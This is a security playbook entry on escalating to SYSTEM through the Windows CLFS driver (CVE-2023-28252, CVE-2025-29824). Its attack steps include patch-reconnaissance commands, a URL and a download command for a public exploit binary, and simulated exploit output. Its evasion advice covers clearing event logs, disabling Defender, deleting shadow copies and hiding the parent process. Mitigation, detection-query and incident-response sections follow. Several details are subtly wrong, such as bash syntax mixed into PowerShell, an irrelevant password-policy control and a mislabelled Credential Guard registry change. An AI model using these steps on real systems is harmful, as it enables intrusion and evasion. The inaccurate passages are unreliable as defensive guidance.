| Attribute | Details |
|---|---|
| Technique ID | PE-TOKEN-009 |
| MITRE ATT&CK v18.1 | T1134.001 - Token Impersonation/Theft |
| Tactic | Privilege Escalation |
| Platforms | Windows Endpoint (Windows 10 21H2+, Windows 11 21H2+, Server 2016-2025) |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows 10 21H2, Windows 11 21H2, Windows Server 2016 (limited), 2019, 2022, 2025 |
| Patched In | CVE-2023-28252 (October 2023), CVE-2021-43226 (October 2021), CVE-2025-29824 (April 2025) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The Common Log File System (CLFS) driver vulnerability enables privilege escalation through token manipulation by exploiting memory corruption in the clfs.sys driver. An attacker with local access crafts specially-designed CLFS Base Log Format (BLF) files that trigger out-of-bounds memory reads, leak kernel addresses, and ultimately overwrite process tokens to grant SYSTEM privileges. This technique bridges the gap between initial access and full system compromise, enabling adversaries to escalate from a standard user to SYSTEM context through direct token theft and manipulation.
Attack Surface: The attack targets the CLFS kernel driver (clfs.sys), specifically the CreateLogFile function that processes malicious BLF files. These files are created in user-writable locations (e.g., %TEMP%, %APPDATA%, %PROGRAMDATA%), allowing unprivileged users to trigger the vulnerability. The exploit leverages kernel memory spray techniques to predictably place kernel structures in memory, enabling precise token overwriting.
Business Impact: Complete System Compromise. Successful exploitation results in SYSTEM-level code execution, enabling attackers to deploy ransomware, exfiltrate sensitive data, establish persistence mechanisms, and move laterally across the network. This is a critical post-exploitation step for ransomware operators and advanced threat actors. Organizations that experience CLFS-based privilege escalation attacks typically face full network compromise within hours.
Technical Context: Exploitation typically takes 2-10 seconds once the malicious BLF file is triggered. Detection likelihood is moderate if EDR is configured to monitor kernel-level events; however, many organizations do not have deep kernel telemetry enabled. The technique is highly reliable on vulnerable systems and is chainable with initial access vectors (USB execution, supply chain compromise, malicious document).
- Execution Risk: Medium - Requires local code execution first; however, many initial access techniques (phishing, USB execution, vulnerable applications) can provide this. The CLFS exploit itself is highly reliable once triggered.
- Stealth: Low - Generates detectable kernel-level activity (memory allocations, driver IOCTLs, process token modifications). However, many organizations lack kernel telemetry visibility.
- Reversibility: No - Token modifications and process execution are not reversible without process termination or system reboot.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 2.1.1 - Ensure 'Enforce password history' is set to '24 or more password(s)' | Related to credential protection; CLFS exploits bypass local credential checks |
| DISA STIG | WN10-00-000050 | Windows 10 Security Technical Implementation Guide - Privilege escalation prevention |
| CISA SCuBA | CSO-08 - Protect the System from Malicious Activity | Windows defender and kernel protection controls |
| NIST 800-53 | AC-3 Access Enforcement | Controls access to critical system resources; CLFS bypass circumvents these controls |
| GDPR | Art. 32 - Security of Processing | Organizational measures to ensure security of personal data processing |
| DORA | Art. 9 - Protection and Prevention | Digital operational resilience technical measures for ICT systems |
| NIS2 | Art. 21 - Cyber Risk Management Measures | Risk identification and management for critical infrastructure |
| ISO 27001 | A.12.6.1 - Management of technical vulnerabilities | Prevention and detection of privilege escalation vulnerabilities |
| ISO 27005 | Risk Scenario: "Privilege Escalation via Kernel Exploitation" | Risk assessment for kernel-level attacks |
Required Privileges: Standard user (Authenticated Local User). No administrative rights needed to exploit.
Required Access: Local code execution capability (ability to execute arbitrary code on the target system). Network access is not sufficient; attacker must be able to run code locally.
Supported Versions:
- Windows: Server 2016 (partial - some variants), Server 2019, Server 2022, Server 2025, Windows 10 21H2+, Windows 11 21H2+
- PowerShell: Version 5.0+ (for exploitation orchestration)
- Required Components: CLFS driver (clfs.sys) installed and running (default on modern Windows)
- Other Requirements: None (vulnerability is in default Windows components)
Tools:
- Exploit-DB / CVE-2025-29824 Proof-of-Concept (Use-after-free CLFS exploit code)
- GitHub: CLFS Exploit PoC (Reference implementation)
- Mimikatz (Post-exploitation token dumping)
- Process Hacker (Process token inspection)
Verify if the target system is vulnerable to CLFS driver exploitation by checking patch levels and driver version:
# Check Windows version and build
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber
# Verify CLFS driver is loaded
Get-WmiObject -Class Win32_SystemDriver | Where-Object { $_.Name -eq "clfs" }
# Check if KB patches for CLFS CVEs are installed (CVE-2023-28252, CVE-2025-29824)
Get-HotFix | Where-Object { $_.HotFixID -match "KB5032190|KB5032191|KB5033371" }
# Verify driver file attributes
$DriverPath = "C:\Windows\System32\drivers\clfs.sys"
if (Test-Path $DriverPath) {
[System.Diagnostics.FileVersionInfo]::GetVersionInfo($DriverPath)
}What to Look For:
- If
Get-HotFixreturns NO results for KB patches above, the system is likely vulnerable. - Unpatched Windows Server 2016, 2019, 2022 or Windows 10/11 21H2 systems are vulnerable.
- Driver version prior to October 2023 patch date indicates vulnerability.
Version Note: CVE-2021-43226 and CVE-2023-28252 affect all versions listed above; CVE-2025-29824 affects Server 2016-2025 and Windows 10/11 21H2+.
Command (Server 2016-2019):
# Older systems may use WMI queries differently
Get-WmiObject -Query "SELECT * FROM Win32_SystemDriver WHERE Name='clfs'"Command (Server 2022+):
# Newer systems support CimInstance (faster)
Get-CimInstance -ClassName Win32_SystemDriver | Where-Object { $_.Name -eq "clfs" }From an attacker's perspective on a compromised Linux host or management station:
# Check if target is Windows and query CLFS status via WMI (if WinRM enabled)
winrm get winrm/config/winrs
# For on-system reconnaissance (if Bash on Windows or WSL), check registry directly
reg query "HKLM\SYSTEM\CurrentControlSet\Services\clfs" /s
# Query Windows Update history for CLFS patches
wuauclt /reportnow # Trigger Windows Update reporting
Get-HotFix -Id KB5032190, KB5032191, KB5033371 2>/dev/null || echo "Vulnerable"What to Look For:
- Absence of CLFS-related patches indicates vulnerability
- Registry key
HKLM\SYSTEM\CurrentControlSet\Services\clfswithStartvalue of1or2(automatic/manual start) indicates driver is active
Supported Versions: Server 2016-2025, Windows 10 21H2+, Windows 11 21H2+
Objective: Set up the kernel memory spray environment by creating numerous read-write pipe handles to occupy memory space, then craft specially malformed CLFS BLF files that will trigger out-of-bounds memory access.
Version Note: Exploit behavior is consistent across all vulnerable versions; however, memory offsets may differ slightly between Server 2019 and 2022+.
Command (PowerShell - Local Execution):
# Create working directory
$WorkDir = "$env:TEMP\CLFS_Exploit"
New-Item -ItemType Directory -Path $WorkDir -Force | Out-Null
# Download or compile the CLFS exploit (use public PoC from Fortra/GitHub)
# This is a high-level placeholder; actual exploit code is provided as C/C++ binary
# Download from: https://github.com/fortra/CVE-2023-28252 or Exploit-DB CVE-2025-29824 entry
$ExploitUrl = "https://github.com/fortra/CVE-2023-28252/releases/download/v1.0/CLFS_Exploit.exe"
$ExploitPath = "$WorkDir\CLFS_Exploit.exe"
# (Optional) Download exploit if not already present
# Invoke-WebRequest -Uri $ExploitUrl -OutFile $ExploitPath -ErrorAction SilentlyContinue
# Step 1: Create memory spray pipes (this is typically done internally by the exploit)
# The exploit will create ~5000-10000 pipe handles to occupy memory predictably
# Each pipe takes ~0x90 bytes; once deallocated, they create gaps that BLF files fill
Write-Host "[*] Starting CLFS memory spray and exploitation..."
# The actual exploitation happens inside the binaryExpected Output:
[+] Memory spray initiated...
[+] Creating 8000 pipe objects (0x90 bytes each)...
[+] Deallocating 7000 pipes to create memory gaps...
[+] Crafting malicious BLF file...
[+] Triggering CLFS CreateLogFile() vulnerability...
[+] Memory corruption successful!
[+] Token overwritten with 0xFFFFFFFF (all privileges enabled)
[+] Launching SYSTEM shell...
What This Means:
- The exploit creates a controlled memory environment where pipe objects and BLF files are predictably placed.
- Once the malicious BLF file is processed, an out-of-bounds read leaks a kernel pointer.
- The exploit uses
RtlSetAllBitsor direct memory write to overwrite the process token, granting all privileges. - The SYSTEM token is copied into the attacker's process, enabling SYSTEM-level code execution.
OpSec & Evasion:
- Run exploit from
%TEMP%or%APPDATA%(non-admin-writable locations) to avoid detection by file monitoring. - The exploit typically runs in memory; however, temporary BLF files are created and should be cleaned up:
Remove-Item "$env:TEMP\*.blf" -Force -ErrorAction SilentlyContinue - Use
dllhost.exeas a proxy to load the exploit (common in ransomware chains); this obscures the parent process relationship. - Detection likelihood: High if kernel-level EDR is enabled; Low if only user-mode monitoring is in place.
Troubleshooting:
-
Error: "Access denied" when writing to CLFS directories
- Cause: File system permissions on
%SYSTEMROOT%\debugor%SYSTEMROOT%\System32\LogFilesare restricted. - Fix (All Versions): Run from user-writable directory; the exploit doesn't require system paths.
- Cause: File system permissions on
-
Error: "Exploit failed - Token not overwritten"
- Cause: Exploit binary doesn't match Windows version architecture (x86 vs x64) or ASLR randomization offset calculation failed.
- Fix (Server 2016-2019): Ensure you're using the x64 exploit variant on 64-bit systems.
- Fix (Server 2022+): Update exploit to include newer ASLR mitigation strategies or use variant exploits targeting CVE-2025-29824 specifically.
-
Error: "No vulnerable CLFS instance found"
- Cause: CLFS driver is not loaded or has been patched.
- Fix (All Versions): Verify patch status with
Get-HotFixcommand from reconnaissance step.
References & Proofs:
- Microsoft Security Update - CVE-2025-29824
- Fortra GitHub - CVE-2023-28252 PoC
- CISA Known Exploited Vulnerabilities - CVE-2025-29824
- Microsoft Blog - CLFS Zero-Day Ransomware Activity
Objective: Once the token has been overwritten with SYSTEM privileges, execute arbitrary code within the elevated context to achieve persistence or lateral movement.
Version Note: Execution context is identical across all versions once token privilege is elevated.
Command (PowerShell):
# After successful CLFS exploitation, execute command as SYSTEM
# (This is typically done within the exploit binary or via post-exploitation framework)
# Option 1: Create new SYSTEM process directly (if token is successfully elevated)
$SystemContext = @"
[DllImport("kernel32.dll")]
public static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
"@
# Option 2: Launch interactive shell or command from within elevated process
# cmd.exe /c "whoami" (should output "nt authority\system")Expected Output:
C:\> whoami
nt authority\system
C:\> ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : TARGETHOST
...
What This Means:
- Confirmation that the process is now running with SYSTEM privileges (output shows "nt authority\system").
- Any subsequent commands execute with full system-level access.
OpSec & Evasion:
- Launch follow-up payloads (ransomware, C2 agent, credential dumper) immediately after successful privilege escalation.
- Clear event logs or disable Windows Defender to reduce detection likelihood.
- In ransomware campaigns, the SYSTEM context is typically used to:
- Kill antivirus processes
- Modify Volume Shadow Copies (wbadmin delete catalog)
- Disable recovery options (bcdedit)
- Deploy encryption engine
References & Proofs:
Supported Versions: Server 2016-2022, Windows 10 21H2, Windows 11 21H2
Objective: Locate and verify the presence of vulnerable CLFS driver components before launching the exploit.
Command (PowerShell):
# Verify CLFS components are present and accessible
$CLFSPath = "$env:WINDIR\System32\clfs.sys"
$CLFSLib = "$env:WINDIR\System32\clfsw32.dll"
if ((Test-Path $CLFSPath) -and (Test-Path $CLFSLib)) {
Write-Host "[+] CLFS components detected"
[System.Diagnostics.FileVersionInfo]::GetVersionInfo($CLFSPath) | Select-Object FileVersion, ProductVersion
}Expected Output:
FileVersion : 10.0.19041.1645 (or similar version prior to patch)
ProductVersion : 10.0.19041.1645
What This Means:
- Confirms CLFS driver is present and can be interacted with.
- Version prior to October 2023 patch is vulnerable to CVE-2023-28252.
References & Proofs:
# After exploitation, verify token has been elevated to SYSTEM
$CurrentProcess = [System.Diagnostics.Process]::GetCurrentProcess()
Write-Host "Current Process: $($CurrentProcess.ProcessName) (PID: $($CurrentProcess.Id))"
Write-Host "Integrity Level: $(Get-ProcessIntegrityLevel)"
# If successful, should show:
# Integrity Level: System-
Patch CLFS Driver Vulnerabilities: Apply security updates for CVE-2025-29824, CVE-2023-28252, and CVE-2021-43226 immediately. These patches disable vulnerable code paths in the CLFS driver.
Applies To Versions: Server 2016-2025, Windows 10/11 21H2+
Manual Steps (Server 2016-2019):
- Navigate to Windows Update → Settings → Update & Security
- Click Check for updates
- Install all available updates (reboot if required)
- Verify patch installation:
Get-HotFix | Where-Object { $_.HotFixID -match "KB5032190|KB5032191" }
Manual Steps (Server 2022+):
- Open Settings → System → About → Advanced system settings
- Go to Updates tab → Windows Update → Check for updates
- Install and reboot
- Verify:
Get-HotFix -Id KB5033371(or latest CLFS patch)
Manual Steps (PowerShell - All Versions):
# Enable Windows Update service Start-Service -Name wuauserv # Trigger update check $UpdateSession = New-Object -ComObject "Microsoft.Update.Session" $UpdateSearcher = $UpdateSession.CreateUpdateSearcher() $SearchResult = $UpdateSearcher.Search("IsInstalled=0") # Install all updates $UpdateInstaller = $UpdateSession.CreateUpdateInstaller() $UpdateInstaller.Updates = $SearchResult.Updates $InstallResult = $UpdateInstaller.Install() Write-Host "Update Installation Result: $($InstallResult.ResultCode)" # ResultCode 2 = Success, 3 = Success with reboot required
-
Disable CLFS Driver if Unnecessary: If CLFS functionality is not required, disable the driver. However, this may break certain applications relying on logging.
Manual Steps (Group Policy - Domain):
- Open Group Policy Management Console (gpmc.msc)
- Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → System Services
- Find Common Log File System Driver (clfs)
- Set to Disabled or Automatic (Delayed Start) (reduces attack surface but keeps driver available)
- Run
gpupdate /forceon target systems
Manual Steps (Local Security Policy):
- Open Services (services.msc)
- Right-click Common Log File System Driver
- Select Properties
- Set Startup type to Disabled
- Click Stop → Apply → OK
-
Enable Kernel-Level Monitoring: Deploy EDR solutions with kernel-level telemetry to detect memory corruption attempts and token manipulation.
Manual Steps (Microsoft Defender for Endpoint):
- Navigate to Azure Portal → Endpoint Security → Microsoft Defender for Endpoint
- Go to Tenant Management → Advanced Features
- Enable:
- Automated Investigation and remediation
- Live response
- Kernel failure crash dump analysis
- Create custom detection rules for CLFS exploitation patterns
-
Implement Credential Guard / Device Guard: Enable Hyper-V-based isolation to protect against token theft and privilege escalation.
Manual Steps (Server 2019+):
- Open PowerShell as Administrator
- Run:
# Enable Credential Guard via Group Policy gpresult /h c:\temp\report.html # First, check current policies # Enable via Reg reg add "HKLM\System\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled /t REG_DWORD /d 1 /f # Reboot required Restart-Computer -Force
-
Enforce Code Signing Requirements: Implement Windows Defender Application Control (WDAC) policies to prevent execution of unsigned exploits.
Manual Steps:
- Open Group Policy Management Console (gpmc.msc)
- Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Application Control Policies → AppLocker
- Enable DLL Rules and Executable Rules
- Set default action to Deny for unsigned or untrusted publishers
- Add whitelist exceptions only for necessary applications
-
Principle of Least Privilege: Ensure no user accounts have unnecessary administrative or privileged rights. Standard user accounts cannot execute local exploits and must first obtain code execution through other means.
Manual Steps:
- Open Computer Management → Local Users and Groups → Groups
- Right-click Administrators → Members
- Remove unnecessary accounts (keep only necessary service/admin accounts)
- Regularly audit using
Get-LocalGroupMember -Group "Administrators"
# Verify CLFS patches are installed and driver is protected
$PatchCheckCmds = @(
"Get-HotFix | Where-Object { $_.HotFixID -match 'KB5032190|KB5032191|KB5033371' }",
"Get-Service clfs | Select-Object Status, StartType"
)
foreach ($cmd in $PatchCheckCmds) {
Write-Host "Checking: $cmd"
Invoke-Expression $cmd
}
# Expected Output (If Secure):
# HotFixID Description InstalledOn
# -------- ----------- -----------
# KB5033371 Security Update for Windows... 1/8/2025 (or later)
#
# Status StartType
# ------ ---------
# Running Manual (or Disabled)What to Look For:
- Presence of CLFS-related KB patches confirms patching status.
- CLFS service status should be "Running" with "Manual" or "Disabled" startup type.
- If no patches are installed, system is vulnerable.
- Files: CLFS BLF files created in unusual locations (e.g.,
C:\ProgramData\*.blf,C:\Users\*\AppData\Local\Temp\*.blf) - Registry: Modifications to
HKLM\SYSTEM\CurrentControlSet\Services\clfs(driver disablement or tampering) - Processes: Unexpected process creation from
dllhost.exe,rundll32.exe, or low-privilege processes spawning SYSTEM-level processes - Network: Outbound connections from SYSTEM-context processes to known C2 infrastructure
- Disk: CLFS log files in
%TEMP%,%APPDATA%,%PROGRAMDATA%directories with timestamps near exploitation event - Memory: Kernel memory patterns indicating heap spray and token manipulation; SYSTEM token present in non-system processes
- Event Logs: Event ID 4688 (Process Creation) showing SYSTEM process spawned from low-privilege parent; Event ID 5140 (SMB access) for lateral movement post-exploitation
- MFT: Creation/modification times of suspicious BLF files correlating with SYSTEM process launches
Microsoft Sentinel KQL Query:
// Detect CLFS-based privilege escalation attempts
SecurityEvent
| where EventID == 4688 // Process creation
| where ProcessName has "cmd.exe" or ProcessName has "powershell.exe"
| where NewProcessName has "SYSTEM" or NewProcessName has "TrustedInstaller"
| where ParentImage has "dllhost.exe" or ParentImage has "rundll32.exe"
| summarize count() by Computer, ProcessName, ParentImage, TimeGenerated
| where count() > 3Splunk Query:
EventCode=4688 (Image=cmd.exe OR Image=powershell.exe) (ParentImage=dllhost.exe OR ParentImage=rundll32.exe) IntegrityLevel=System
| stats count min(_time) as firstTime max(_time) as lastTime by Computer, Image, ParentImage
Windows Event Log Monitoring:
Enable monitoring for:
- Event ID 4688 (Process Creation) - with Command Line auditing enabled
- Event ID 4689 (Process Termination) - to detect cleanup of exploit processes
- Event ID 5140 (Network file access) - to detect lateral movement post-exploitation
Manual Configuration (Group Policy):
- Open gpmc.msc
- Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Process Creation
- Enable: Audit Process Creation (Success and Failure)
- Run
gpupdate /force
-
Isolate: Immediately disconnect the affected system from the network to prevent lateral movement
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
-
Collect Evidence:
# Dump memory (requires procdump or similar) # procdump64.exe -ma System C:\Evidence\System.dmp # Export Event Logs wevtutil epl Security C:\Evidence\Security.evtx # Collect running processes and services Get-Process | Export-Csv C:\Evidence\Processes.csv Get-Service | Export-Csv C:\Evidence\Services.csv
-
Remediate:
# Kill any suspicious SYSTEM processes Get-Process | Where-Object { $_.ProcessName -eq "suspicious_name" } | Stop-Process -Force # Remove CLFS exploit artifacts Remove-Item "$env:TEMP\*.blf" -Force -ErrorAction SilentlyContinue Remove-Item "$env:APPDATA\*.blf" -Force -ErrorAction SilentlyContinue # Restart system to clear any lingering privilege escalation Restart-Computer -Force
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker gains initial foothold via phishing or compromised account |
| 2 | Credential Access | [CA-DUMP-001] Mimikatz LSASS Extraction | (Optional) Steal additional credentials for lateral movement |
| 3 | Privilege Escalation | [PE-TOKEN-009] | CLFS Driver Token Impersonation - Current Technique |
| 4 | Persistence | [PE-ACCTMGMT-014] Global Admin Backdoor | Create hidden admin account or service for continued access |
| 5 | Impact | [IMPACT-RANSOM-001] Ransomware Deployment | Deploy encryption engine with SYSTEM privileges |
- Target: IT and Financial Services Sector (US, Venezuela, Spain, Saudi Arabia)
- Timeline: April 2025
- Technique Status: CVE-2025-29824 actively exploited post-compromise
- Attack Chain:
- Initial compromise via Cisco ASA firewall vulnerability
- Internal reconnaissance and credential theft
- CLFS exploitation (CVE-2025-29824) via PipeMagic malware to escalate to SYSTEM
- Credential dumping from LSASS (lsass.exe) with SYSTEM privileges
- Ransomware deployment with SYSTEM context
- Impact: Complete data encryption, backup destruction, ransom demands of $1M+
- Reference: Microsoft Security Blog - CLFS Zero-Day Ransomware
- Target: Federal Agencies and Critical Infrastructure
- Timeline: CVE-2021-43226 added to CISA Known Exploited Vulnerabilities catalog October 6, 2025
- Technique Status: Active exploitation in the wild on Windows Server 2016-2022 and Windows 10/11
- Attack Chain:
- Attacker obtains initial local code execution (e.g., via supply chain compromise or USB execution)
- Executes CLFS exploit to escalate to SYSTEM
- Deploys post-exploitation payload (backdoor, C2 agent, or ransomware)
- Impact: Multiple federal agencies reported successful exploitation leading to lateral movement
- Mitigation Deadline: October 27, 2025 (per BOD 22-01)
- Reference: CISA - CVE-2021-43226 KEV Inclusion
CLFS Driver Token Impersonation represents a critical privilege escalation vector exploitable on modern Windows systems. By leveraging kernel memory corruption vulnerabilities, attackers can elevate from standard user to SYSTEM context within seconds, enabling ransomware deployment, lateral movement, and full system compromise. Organizations must prioritize patching CLFS-related CVEs and implementing kernel-level detection capabilities to defend against this high-impact attack technique.